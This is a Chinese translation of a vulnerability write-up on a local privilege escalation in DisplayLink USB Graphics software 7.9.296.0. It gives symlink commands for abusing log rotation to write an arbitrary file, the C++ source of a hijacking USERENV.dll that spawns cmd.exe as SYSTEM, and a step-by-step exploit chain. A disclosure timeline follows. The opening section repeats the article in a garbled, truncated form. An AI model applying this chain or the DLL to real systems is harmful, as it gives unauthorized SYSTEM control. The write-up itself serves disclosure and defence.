点
击上方“蓝字”关注我们吧!
译文声明
本文是翻译文章,文章原作者Yannick Méheut
文章来源:https://offsec.almond.consulting
原文地址:
https://offsec.almond.consulting/displaylink-usb-graphics-arbitrary-file-write-eop.html 译文仅供参考,具体内容表达以及含义原文为准。 摘要 DisplayLink USB显卡软件7.9.296.0版本中,由于对日志文件夹的访问权限过大,导致攻击者可以利用此机制执行特权文件操作,如任意文件创建。攻击者还可以通过DLL劫持的方式获取靶机的系统权限。 此漏洞已在最新版本中修复,建议用户更新到最新版本。漏洞概述
在使用Windows笔记本进行配置审查时,我通常会使用ClémentLabro(@itm4n)的PrivescCheck工具(译者力荐)检查其中是否存在普通的权限提升技术。
PrivescCheck列出了一些可修改的路径:
(https://www.displaylink.com/downloads/file?id=559) 0 1过度的访问权限
1.打开
2.对它进行一些检查(文件内容或是文件大小)
3.如果检查通过,执行日志轮换:
3.1.删除
3.2.重命名
这些动作都是作为系统用户进行执行的,我们查看了事件的详细信息,确认在这里并不是模拟用户进行的操作。我们可以利用这一点进行任意写入或删除文件。0 3任意文件创建 我们可以欺骗DisplayLinkManager将攻击者可控的文件移动至特权位置。我们可以使用
•将
•将
与
注意:在创建符号链接时,请确保当前没有其他进程正在访问Debug文件夹。其中包括打开文件夹的explorer.exe窗口,或者带有指向该文件夹的快速访问标签。 如果需要查看在
注意:在进行劫持时,请记住静态编译DLL。 还有一点需要注意,我们的DLL需要超过101 Kb才能触发日志旋转。因此,如果文件太小,我们可以用NULL字节进行填充。完整的利用链
下面,我们对上面的内容进行归纳:
1.更改
2.重启系统。
3.终止
4.清空
5.使用
6.使用
7.注销用户会话,然后重新登录。
8.漏洞利用
在本文中,我们实现了滥用Windows上特权进程执行文件操作来实现本地特权升级,而且漏洞利用不受任何配置的干扰。 在后续的版本中,Debug文件夹不复存在。开发者调整了安装文件夹的结构,ACL也得到了正确配置。 建议用户更新到最新版本。时间线 2020-04-23:通知厂商软件的7.9版本中存在漏洞,但7.9以后的版本似乎没有受到影响。
2020-04-23:收到供应商的回复,指出7.9版与Windows 10不兼容,并且由于潜在的不稳定因素,不建议在Windows 10上使用该软件。
2020-04-28:收到了GPG密钥,将加密后的安全建议发送给DisplayLink安全团队。
2020-04-29:向DisplayLink安全团队发送安全建议。
2020-04-30:DisplayLink安全团队确认收到安全建议。
2020-05-15:DisplayLink确认7.9以上的版本不受影响。
2020-07-01:发布通报。扫码关注我们 www.sec-in.com 在这里,探索技术与热爱 点分享 点点赞 点在看
本文是翻译文章,文章原作者Yannick Méheut
文章来源:https://offsec.almond.consulting
原文地址:
https://offsec.almond.consulting/displaylink-usb-graphics-arbitrary-file-write-eop.html 译文仅供参考,具体内容表达以及含义原文为准。 摘要 DisplayLink USB显卡软件7.9.296.0版本中,由于对日志文件夹的访问权限过大,导致攻击者可以利用此机制执行特权文件操作,如任意文件创建。攻击者还可以通过DLL劫持的方式获取靶机的系统权限。 此漏洞已在最新版本中修复,建议用户更新到最新版本。漏洞概述
在使用Windows笔记本进行配置审查时,我通常会使用ClémentLabro(@itm4n)的PrivescCheck工具(译者力荐)检查其中是否存在普通的权限提升技术。
PrivescCheck列出了一些可修改的路径:
ModifiablePath IdentityReference Permissions-------------- ----------------- -----------C:\Program Files\DisplayLink Core Software\Debug Everybody {WriteOwner, Delete, WriteAttributes, Synchronize...}
所有用户对
C:\Program Files\DisplayLink Core Software\Debug
文件夹拥有过大的多权限。
我们可以在
services.msc
中了解该程序的更多细节:
此服务是显卡软件的一部分,并作为系统服务自动运行。那么我们可以猜想一种场景,如果DisplayLink软件使用此Debug文件夹中的文件执行特权操作,那我们就可以利用高特权级文件操作进行本地提权。在同事Clément Lavoillotte帮助下,我们发现并成功利用了该漏洞。漏洞利用
在测试中,我选取的是与我本机环境非常相近的Windows 10 1909虚拟机,并安装相同版本的DisplayLink。由于现在DisplayLink官网已经对软件进行升级,点击此处下载实验版本。(https://www.displaylink.com/downloads/file?id=559) 0 1过度的访问权限
安装软件后,我们首先查看Debug文件夹上的权限 : 如我们之前所说,
Everybody
对此文件拥有完全的控制权。
但是如果此文件夹下包含敏感文件,如DLL文件。我们完全可以进行DLL劫持,恶意代码就会以系统身份运行。让我们先看一下文件夹下有哪些内容:
好吧,只有一些日志文件。但是我们发现了以.log和.old.log为后缀的文件,这应该是由日志轮转所产生的文件。正如clement在他的文章中所阐述的,我们可以利用日志旋转机制来执行任意文件创建操作。0
2日志轮转
让我们在Procmon中观察一下日志轮转机制的具体过程:
在启动时,DisplayLinkManager.exe
会执行以下操作:1.打开
DisplayLinkManager.log
日志文件2.对它进行一些检查(文件内容或是文件大小)
3.如果检查通过,执行日志轮换:
3.1.删除
DisplayLinkManager.old.log
文件(如果存在)3.2.重命名
DisplayLinkManager.log
为
DisplayLinkManager.old.log
3.3.创建一个新的
DisplayLinkManager.log
这些动作都是作为系统用户进行执行的,我们查看了事件的详细信息,确认在这里并不是模拟用户进行的操作。我们可以利用这一点进行任意写入或删除文件。0 3任意文件创建 我们可以欺骗DisplayLinkManager将攻击者可控的文件移动至特权位置。我们可以使用
CreateSymlink.exe
完成这一操作(Google Project Zero的SymbolicLink测试工具中的工具。)
创建如下符号链接:•将
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.log
链接至我们要移动的文件•将
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.old.log
链接到我们要放置文件的地方
还有一点需要注意,在进行符号链接时,Debug文件夹必须为空。因为
CreateSymlink.exe
程序会将其替换为
RPCControl
的挂载点。但是,当我们试图删除Debug中已存在的日志文件,则会出现以下错误:
虽然我们可以完全控制该文件夹及内容,但是日志文件是由
DisplayLink Manager
进程打开的,我们无法直接删除它们。并且,我们无法终止DisplayLink Manager进程,因为它们是以SYSTEM身份运行,而我们仅仅是普通用户的权限。
那我们怎样进行绕过呢?别忘了我们对Debug文件夹拥有完全控制权,我们可以直接修改其ACL,使SYSTEM用户对该文件夹及其内容没有修改权限:
在重启计算机后,DisplayLinkManager将无法在该文件夹中打开其日志文件,我们可以对其执行删除操作。我们还可以删除目录下
DisplayLinkUserAgent.log
。该文件由DisplayLink用户代理应用程序打开,而这个应用程序也是以
SYSTEM
身份运行。
DisplayLinkUI.log
与
DisplayLinkUIAddOnApi.log
是DisplayLink UI Systray应用程序所打开的。该应用程序以当前用户的权限运行,因此我们可以在任务管理器中将其关闭,然后删除日志文件。
至此,您将获得一个干净且完全为空的Debug文件夹:
现在,我们开始漏洞利用,将我们控制的文件移动到C:\Windows\System32
。通过观察日志文件大小,我们注意到当日志文件超过101kb时会发生日志轮换,因此我们需要确保自定义文件超过该大小。
PS C:\Temp> ls Directory: C:\TempMode LastWriteTime Length Name---- ------------- ------ -----a---- 4/24/2020 6:58 PM 192302 arbitrary_file.txtPS C:\Temp> Get-Content -TotalCount 8 .\arbitrary_file.txt"Disposable Heroes"Bodies fill the fields I see, hungry heroes endNo one to play soldier now, no one to pretendRunning blind through killing fields, bred to kill them allVictim of what said should beA servant 'til I fallPS C:\Temp> Get-FileHash -Algorithm SHA256 -Path .\arbitrary_file.txtAlgorithm Hash Path--------- ---- ----SHA256 B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D C:\Temp\arbitrary_file.txtLet's create the symlinks:PS C:\SymlinkTestTools> .\CreateSymlink.exe -p "C:\Program Files\DisplayLink Core Software\Debug\DisplayLinkManager.log" "C:\Temp\arbitrary_file.txt"PS C:\SymlinkTestTools> .\CreateSymlink.exe -p "C:\Program Files\DisplayLink Core Software\Debug\DisplayLinkManager.old.log" "C:\Windows\Syst
我们的目标文件扩展名为.dll,为了证明我们完全可以控制名称。
注意:在创建符号链接时,请确保当前没有其他进程正在访问Debug文件夹。其中包括打开文件夹的explorer.exe窗口,或者带有指向该文件夹的快速访问标签。 如果需要查看在
RPCControl
中创建的对象,我们可以使用SysinternalsSuite中的
WinObj.exe
,可以看到“日志文件”。
现在,我们只需注销帐户并重新登录:
PS C:\> Get-FileHash -Algorithm SHA256 -Path "C:\Windows\System32\target_arbitary_file.dll"Algorithm Hash Path--------- ---- ----SHA256 B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D C:\Windows\System32\target_ar...We have our arbitrary file write! Here's the Procmon entries showing the log rotation that moves our arbitrary file into the system32 folder:
自此,任意文件写入基本完成。我们可以在Procmon中查找相应条目,通过条目可以看出将我们的任意文件移动到system32文件夹的日志轮换。
0
4寻找丢失的DLL
那么,我们如何利用这个漏洞进行本地提权呢?我们的思路是将
sethc.exe
替换为
cmd.exe
,以使用粘滞键弹出shell。
但是,SYSTEM系统进行没有权限修改这些文件,实现这一操作需要
TrustedInstaller
权限。事实上,在具有特权的情况下,可以使用一些技术实现这一目标。但是这些技术不能用于我们无法控制的进程。
我们采取了另一种思路,使用DLL劫持。通过查看DisplayLinkManager尝试加载但失败的DLL,我们可以自己构建DLL来替换丢失的DLL,通过DLL劫持的方式实现以SYSTEM的身份执行任意代码的目的。
因此,我们启动ProcMon,搜索DisplayLink Manager未成功加载的DLL:
在ProcMon,我们可以发现DisplayLinkManager尝试加载文件夹中似乎缺失的几个DLL,例如,
VERSION.dll
,
USERENV.dll
, 和
dbghelp.dll
,这是我们重点研究的目标。
我选取了USERENV.dll作为目标,在C:\Program Files\DisplayLink Core Software目录下构建
USERENV.dll
,那么就可以以SYSTEM身份执行代码。
为了创建恶意DLL,我们首先来看看Display Manager从USERENV.dll导入的函数。为此,我将使用CFF Explorer。
如上图所示,DisplayManager从USERENV.dll导入了5个函数,分别是
wit、DestroyEnvironmentBlock、LoadUserProfileW、UnloadUserProfile、
LoadUserProfile、ACreateEnvironmentBlock
。
随后,我们可以创建一个导出这些函数的DLL,但实际上会调用我们想要执行的命令。受到DLL劫持文章的启发,我的代码实现如下:
// dllmain.cpp : Defines the entry point for the DLL application.#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: WinExec("cmd.exe", SW_NORMAL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}extern "C" __declspec(dllexport) void DestroyEnvironmentBlock(){ WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void LoadUserProfileW(){ WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void UnloadUserProfile(){ WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void LoadUserProfileA(){ WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void CreateEnvironmentBlock(){ WinExec("cmd.exe", SW_NORMAL);}
在代码中,我只是简单调用进程使用的每个函数,并使其执行
cmd.exe
。接下来,我们对其进行编译和植入。
注意:在进行劫持时,请记住静态编译DLL。 还有一点需要注意,我们的DLL需要超过101 Kb才能触发日志旋转。因此,如果文件太小,我们可以用NULL字节进行填充。完整的利用链
下面,我们对上面的内容进行归纳:
1.更改
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug
的ACL,禁用SYSTEM的修改权限。2.重启系统。
3.终止
DisplayLinkUI.exe
进程。4.清空
C:\Program Files\DisplayLink Core Software\Debug
文件夹。5.使用
CreateSymlink.exe
,创建从
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.log
到恶意DLL的符号链接;6.使用
CreateSymlink.exe
,创建从
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.old.log
到
C:\ProgramFiles\DisplayLinkCore Software\USERENV.dll
的符号链接。7.注销用户会话,然后重新登录。
8.漏洞利用
至此,我们成功获取了SYSTEMShell。在这里,我们可以看到实际弹出了两个cmd.exe,这是因为我们的恶意DLL是由DisplayLinkManager(以SYSTEM运行)和DisplayLinkUI Systray(以当前用户运行)加载的。因此,我们的Payload会被执行两次。
其次,我们很幸运能在桌面上弹出一个Shell。这是因为DisplayLink Manager在我们的会话中启动一个进程,然后加载DLL。因此,命令行会在我们的图形化Windows会话中弹出:
但是,如果它在session0中运行,cmd.exe就不会出现在我们的桌面上。在这种情况下我们的Payload仍然可以执行,但我们可能需要构建更复杂的Payload才能在用户会话中创建进程。
结论在本文中,我们实现了滥用Windows上特权进程执行文件操作来实现本地特权升级,而且漏洞利用不受任何配置的干扰。 在后续的版本中,Debug文件夹不复存在。开发者调整了安装文件夹的结构,ACL也得到了正确配置。 建议用户更新到最新版本。时间线 2020-04-23:通知厂商软件的7.9版本中存在漏洞,但7.9以后的版本似乎没有受到影响。
2020-04-23:收到供应商的回复,指出7.9版与Windows 10不兼容,并且由于潜在的不稳定因素,不建议在Windows 10上使用该软件。
2020-04-28:收到了GPG密钥,将加密后的安全建议发送给DisplayLink安全团队。
2020-04-29:向DisplayLink安全团队发送安全建议。
2020-04-30:DisplayLink安全团队确认收到安全建议。
2020-05-15:DisplayLink确认7.9以上的版本不受影响。
2020-07-01:发布通报。扫码关注我们 www.sec-in.com 在这里,探索技术与热爱 点分享 点点赞 点在看